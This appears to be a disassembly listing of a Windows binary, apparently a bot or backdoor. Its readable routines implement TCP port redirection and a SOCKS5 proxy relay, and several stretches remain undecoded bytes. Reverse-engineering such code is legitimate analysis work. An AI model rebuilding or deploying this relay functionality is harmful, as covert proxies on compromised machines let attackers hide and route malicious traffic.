test [esp+4+arg_0], 1
jz short loc_42B508
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B508: ; CODE XREF: sub_42B4F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B4F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B520 proc near ; CODE XREF: sub_401217j
jmp sub_40179E
sub_42B520 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B540 proc near ; CODE XREF: sub_40152Dj
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42B70A
mov ebx, 1
push 6
push ebx
push 2
nop
call near ptr 71AB3B91h
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42B598
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B598: ; CODE XREF: sub_42B540+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42B5F2
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B5F2: ; CODE XREF: sub_42B540+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
nop
call near ptr 71AB406Ah
cmp eax, edi
jnz short loc_42B622
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B622: ; CODE XREF: sub_42B540+C8j
mov edx, [esi+0A1h]
mov edi, dword_50FC50
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi ; dword_50FC50
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi ; dword_50FC50
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42B70A
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B676: ; CODE XREF: sub_42B540+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx ; dword_50FC90
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6A0
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jnz short loc_42B702
loc_42B6A0: ; CODE XREF: sub_42B540+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp ; dword_50FC8C
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx ; dword_50FC90
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6DB
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42B702
loc_42B6DB: ; CODE XREF: sub_42B540+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp ; dword_50FC8C
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B676
jmp short loc_42B70A
; ---------------------------------------------------------------------------
loc_42B702: ; CODE XREF: sub_42B540+15Ej
; sub_42B540+199j
push 0Ah
call near ptr 28402DAh
nop
loc_42B70A: ; CODE XREF: sub_42B540+27j
; sub_42B540+124j ...
mov eax, [esi+0A1h]
mov edi, dword_50FC88
cmp eax, 0FFFFFFFFh
jz short loc_42B71E
push eax
call edi ; dword_50FC88
loc_42B71E: ; CODE XREF: sub_42B540+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42B72C
push esi
call edi ; dword_50FC88
loc_42B72C: ; CODE XREF: sub_42B540+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42B540 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B7C0 proc near ; CODE XREF: sub_40165Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B7C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_443D70
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E1C0
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B7C0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B830: ; CODE XREF: ___:loc_4015F0j
; ___:00401FAAj
push esi
mov esi, ecx
call sub_401B8B
test byte ptr [esp+8], 1
jz short loc_42B848
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B848: ; CODE XREF: ___:0042B83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B860 proc near ; CODE XREF: sub_401B8Bj
jmp sub_40179E
sub_42B860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B880 proc near ; CODE XREF: sub_4019E2j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B880
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017E4
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014D3
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 24h
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42BAB8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42B96B
mov edx, [esi+9Dh]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B96B: ; CODE XREF: sub_42B880+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42BA64
loc_42B97F: ; CODE XREF: sub_42B880+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz loc_42BA45
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42BA45
xor edi, edi
cmp ebp, edi
jz loc_42BA45
push 0A9h
call sub_4367FA
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B9E5
mov ecx, eax
call sub_401663
mov edi, eax
loc_42B9E5: ; CODE XREF: sub_42B880+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FBE
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FBE
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013D4
loc_42BA45: ; CODE XREF: sub_42B880+111j
; sub_42B880+133j ...
push 0FAh
nop
call near ptr 28402DAh
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42B97F
loc_42BA64: ; CODE XREF: sub_42B880+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42BA76
push eax
call near ptr 71AB9639h
nop
loc_42BA76: ; CODE XREF: sub_42B880+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017E4
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 24h
loc_42BAB8: ; CODE XREF: sub_42B880+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B880 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BB70 proc near ; CODE XREF: sub_4021DFj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42BB70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+74h+var_3C]
push 12h
push edx
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+78h+var_3C]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+7Ch+var_3C]
push 12h
push eax
call sub_4019B5
add esp, 40h
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_4017E4
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+80h+var_3C]
push 12h
push edx
call sub_4019B5
add esp, 44h
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_4017E4
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+78h+var_24]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 5
call sub_4017E4
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_401226
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_42BB70 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42BE60: ; CODE XREF: ___:loc_40202Cj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BD84
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42BFC7
push 0A1h
call sub_4367FA
add esp, 4
mov [esp+88h], eax
xor edi, edi
cmp eax, edi
mov [esp+80h], edi
jz short loc_42BECD
mov ecx, eax
call sub_40165E
mov edi, eax
loc_42BECD: ; CODE XREF: ___:0042BEC2j
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 1
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+43h]
mov dword ptr [esp+84h], 2
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 3
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Fh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42BFC7: ; CODE XREF: ___:0042BE9Dj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C0F7
push 9Dh
call sub_4367FA
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42C00E
mov ecx, eax
call sub_401889
mov edi, eax
jmp short loc_42C010
; ---------------------------------------------------------------------------
loc_42C00E: ; CODE XREF: ___:0042C001j
xor edi, edi
loc_42C010: ; CODE XREF: ___:0042C00Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C0F7: ; CODE XREF: ___:0042BFDAj
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C220
push 0A2h
call sub_4367FA
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42C13E
mov ecx, eax
call sub_4018DE
mov edi, eax
jmp short loc_42C140
; ---------------------------------------------------------------------------
loc_42C13E: ; CODE XREF: ___:0042C131j
xor edi, edi
loc_42C140: ; CODE XREF: ___:0042C13Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_401500
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42C1EE
mov byte ptr [edi+9Dh], 1
jmp short loc_42C1F5
; ---------------------------------------------------------------------------
loc_42C1EE: ; CODE XREF: ___:0042C1E3j
mov byte ptr [edi+9Dh], 0
loc_42C1F5: ; CODE XREF: ___:0042C1ECj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42C220: ; CODE XREF: ___:0042C10Aj
lea ecx, [ebp+8Eh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C2ED
push 0A1h
call sub_4367FA
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42C26A
mov ecx, eax
call sub_40216C
mov edi, eax
jmp short loc_42C26C
; ---------------------------------------------------------------------------
loc_42C26A: ; CODE XREF: ___:0042C25Dj
xor edi, edi
loc_42C26C: ; CODE XREF: ___:0042C268j
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C2ED: ; CODE XREF: ___:0042C236j
lea ecx, [ebp+0BCh]
call sub_4014D3
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42C519
lea ecx, [esp+30h]
call sub_401424
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_401424
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017E4
push eax
lea ecx, [esp+1Ch]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014D3
cmp eax, offset byte_446F60
jnz short loc_42C3CF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3CF: ; CODE XREF: ___:0042C3BFj
lea ecx, [esp+18h]
call sub_4014D3
cmp eax, offset byte_446F60
jnz short loc_42C3ED
push offset byte_446F60
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3ED: ; CODE XREF: ___:0042C3DDj
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
mov edi, dword_50FB08
push eax
call edi ; dword_50FB08
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401861
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401861
push offset asc_443600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017E4
push eax
call edi ; dword_50FB08
add esp, 4
push eax
call sub_401C17
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42C519: ; CODE XREF: ___:0042C30Cj
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42C536
mov [ebp+11Ch], al
loc_42C536: ; CODE XREF: ___:0042C52Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C710 proc near ; CODE XREF: sub_4021A8j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A7D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42C731
inc ecx
mov [eax+118h], ecx
loc_42C731: ; CODE XREF: sub_42C710+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
xor eax, eax
pop esi
pop ecx
retn
sub_42C710 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C790 proc near ; CODE XREF: sub_401E06j
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_436F4E
sub_42C790 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 840D8B19h, 500050FAh, 6840C183h, 445404h, 4655E851h
dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42C7E0: ; CODE XREF: ___:00401D7Aj
mov eax, [esp+4]
test eax, eax
jz short loc_42C7F3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42C7F3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42C7F3: ; CODE XREF: ___:0042C7E6j
; ___:0042C7EDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C810 proc near ; CODE XREF: sub_401A69j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
call near ptr 77C46125h
nop
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42C884
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_436F96
cmp eax, ebx
jnz short loc_42C8D8
push offset aGetservbyname ; "getservbyname"
call near ptr 77C36DF2h
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_42C884: ; CODE XREF: sub_42C810+47j
mov [esi], bl
mov eax, dword_50FB14
inc esi
cmp dword ptr [eax], 1
jle short loc_42C8A2
movsx ecx, byte ptr [esi]
push 4
push ecx
nop
call near ptr 77C1C561h
add esp, 8
jmp short loc_42C8B2
; ---------------------------------------------------------------------------
loc_42C8A2: ; CODE XREF: sub_42C810+7Fj
mov eax, dword_50FA78
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42C8B2: ; CODE XREF: sub_42C810+90j
cmp eax, ebx
jz short loc_42C8CD
push esi
nop
call near ptr 77C1BF18h
add esp, 4
push eax
call sub_436F36
; ---------------------------------------------------------------------------
mov word ptr [esp+24h+var_10+2], ax
jmp short loc_42C8E1
; ---------------------------------------------------------------------------
loc_42C8CD: ; CODE XREF: sub_42C810+A4j
push offset aTcp ; "tcp"
push esi
call sub_436F96
loc_42C8D8: ; CODE XREF: sub_42C810+5Aj
mov dx, [eax+8]
mov word ptr [esp+24h+var_10+2], dx
loc_42C8E1: ; CODE XREF: sub_42C810+BBj
push ebp
call sub_436EF4
sub_42C810 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42C92D
push ebp
call sub_436EE8
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 48681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42C92D: ; CODE XREF: ___:0042C8EEj
push ebp
mov ebp, dword_50FAC4
call ebp ; dword_50FAC4
add esp, 4
push 6
push 1
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44543068h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h, 80A435E8h
dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
